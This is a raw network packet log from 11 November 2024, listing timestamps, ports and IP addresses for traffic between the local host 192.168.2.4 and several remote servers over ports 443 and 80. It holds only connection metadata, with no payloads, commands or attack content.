Nov 11, 2024 14:32:09.377437115 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.377444983 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.379373074 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.381433010 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.385603905 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.385637999 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.385699987 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.385708094 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.387357950 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.389524937 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.393711090 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.393764019 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.393830061 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.393838882 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.395358086 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.397993088 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.401835918 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.401865005 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.401894093 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.401902914 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.401942015 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.405847073 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.413104057 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.413132906 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.413156986 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.413167000 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.413209915 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.417545080 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.421495914 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.421552896 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.421562910 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.423405886 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.423432112 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.423455954 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.423465967 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.423504114 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.426194906 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.442187071 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:09.442235947 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:09.442303896 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:09.442492008 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:09.442503929 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:09.449064970 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.449100018 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.449130058 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.449136019 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.449145079 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.449172020 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.449508905 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.449544907 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.449553013 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.449649096 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.449695110 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.449695110 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.449706078 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.449748039 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.450232983 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.450326920 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.450370073 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.450371981 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.450381041 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.450417042 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.452446938 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.455916882 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.455945015 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.455976963 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.455984116 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.456023932 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.458188057 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.500998020 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.501008034 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.501347065 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.501425982 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.501487970 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:10.031184912 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:10.031795025 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:10.031825066 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:10.032177925 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:10.032257080 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:10.032869101 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:10.032923937 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:10.034210920 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:10.034286976 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:10.034478903 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:10.034495115 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:10.034507036 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:10.075339079 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:10.078373909 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:10.237454891 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:10.281908035 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:10.281922102 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:10.282747030 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:10.282840014 CET	443	49748	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:10.282905102 CET	49748	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:10.882905006 CET	49749	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:10.882952929 CET	443	49749	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:10.883033037 CET	49749	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:10.884649992 CET	49749	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:10.884664059 CET	443	49749	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:11.299696922 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:11.299736977 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:11.299794912 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:11.300122976 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:11.300148010 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:11.402909040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:11.403148890 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:11.407995939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:11.408010960 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:11.408086061 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:11.408191919 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:11.408216000 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:11.413019896 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:11.413307905 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:11.472923994 CET	443	49749	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:11.473031998 CET	49749	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:11.476288080 CET	49749	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:11.476298094 CET	443	49749	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:11.476579905 CET	443	49749	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:11.520957947 CET	49749	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:11.563333988 CET	443	49749	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:11.687849998 CET	443	49749	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:11.687922955 CET	443	49749	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:11.687992096 CET	49749	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:11.688076019 CET	49749	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:11.688093901 CET	443	49749	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:11.688106060 CET	49749	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:11.688111067 CET	443	49749	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:11.723943949 CET	49754	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:11.723990917 CET	443	49754	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:11.724067926 CET	49754	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:11.724436045 CET	49754	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:11.724450111 CET	443	49754	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:11.889854908 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:11.890146017 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:11.890162945 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:11.890527010 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:11.890773058 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:11.891226053 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:11.891277075 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:11.891473055 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:11.891532898 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:11.891653061 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:11.891659975 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:11.891685009 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:11.935343027 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:11.938028097 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:12.110476017 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:12.156794071 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:12.156821012 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:12.158862114 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:12.158930063 CET	443	49750	142.250.184.238	192.168.2.4
Nov 11, 2024 14:32:12.158987045 CET	49750	443	192.168.2.4	142.250.184.238
Nov 11, 2024 14:32:12.305083036 CET	443	49754	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:12.305233955 CET	49754	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:12.306540012 CET	49754	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:12.306548119 CET	443	49754	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:12.306828976 CET	443	49754	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:12.307851076 CET	49754	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:12.355338097 CET	443	49754	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:12.475217104 CET	443	49754	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:12.475286007 CET	443	49754	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:12.475366116 CET	49754	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:12.475975037 CET	49754	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:12.476001024 CET	443	49754	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:12.476012945 CET	49754	443	192.168.2.4	184.28.90.27
Nov 11, 2024 14:32:12.476018906 CET	443	49754	184.28.90.27	192.168.2.4
Nov 11, 2024 14:32:12.546668053 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:12.546786070 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:12.648879051 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:12.649058104 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:12.653847933 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:12.653868914 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:12.653909922 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:12.712892056 CET	49737	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:13.351767063 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:13.351839066 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:13.374043941 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:13.378971100 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:14.069617033 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:14.069709063 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:14.502985954 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:14.507956028 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:14.896599054 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:14.896641016 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:14.896836042 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:14.898019075 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:14.898036003 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:15.204016924 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.204168081 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:15.445602894 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:15.445678949 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:15.448658943 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:15.448668003 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:15.448909998 CET	443	49755	20.12.23.50	192.168.2.4
Nov 11, 2024 14:32:15.500741959 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:15.702646971 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:15.707583904 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902355909 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902420044 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:15.902589083 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902638912 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902646065 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902647972 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:15.902678013 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902678967 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:15.902686119 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902693033 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902697086 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902704000 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902707100 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:15.902733088 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:15.902776957 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:15.902811050 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902817965 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902825117 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.902931929 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:15.903351068 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:15.903423071 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.014846087 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.014875889 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.014885902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.014889002 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.014956951 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.015144110 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.015151024 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.015156984 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.015212059 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.015229940 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.015233994 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.015284061 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.016031027 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.016036987 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.016041994 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.016084909 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.016092062 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.016108036 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.016150951 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.016846895 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.016853094 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.016865015 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.016901016 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.016907930 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.016931057 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.016987085 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.017716885 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.017723083 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.017733097 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.017739058 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.017800093 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.017800093 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.127017021 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127028942 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127037048 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127083063 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127089024 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127099037 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.127124071 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.127263069 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127310038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127330065 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.127361059 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.127403975 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127409935 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127417088 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127434969 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.127451897 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.127470016 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127525091 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.127875090 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127880096 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127892971 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127898932 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.127926111 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.127958059 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.128240108 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.128246069 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.128252983 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.128313065 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.128331900 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.128343105 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.128349066 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.128355026 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.128361940 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.128386021 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.128422976 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.129482031 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.129487038 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.129492998 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.129551888 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.129580021 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.129585028 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.129590988 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.129597902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.129626989 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.129657030 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.129719973 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.129771948 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.130553961 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.130631924 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.130650997 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.130656004 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.130670071 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.130673885 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.130675077 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.130680084 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.130712986 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.130745888 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.130768061 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.130827904 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.131768942 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.131824970 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.131825924 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.131830931 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.131900072 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.132263899 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.132271051 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.132276058 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.132287025 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.132395029 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.236082077 CET	49755	443	192.168.2.4	20.12.23.50
Nov 11, 2024 14:32:16.239161015 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239170074 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239177942 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239185095 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239221096 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239227057 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239231110 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.239231110 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.239289045 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.239370108 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239408970 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239419937 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239478111 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.239562988 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239569902 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239577055 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239617109 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.239623070 CET	80	49753	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:16.239670992 CET	49753	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:16.239969015 CET	80	49753	185.215.113.206	192.168.2.4
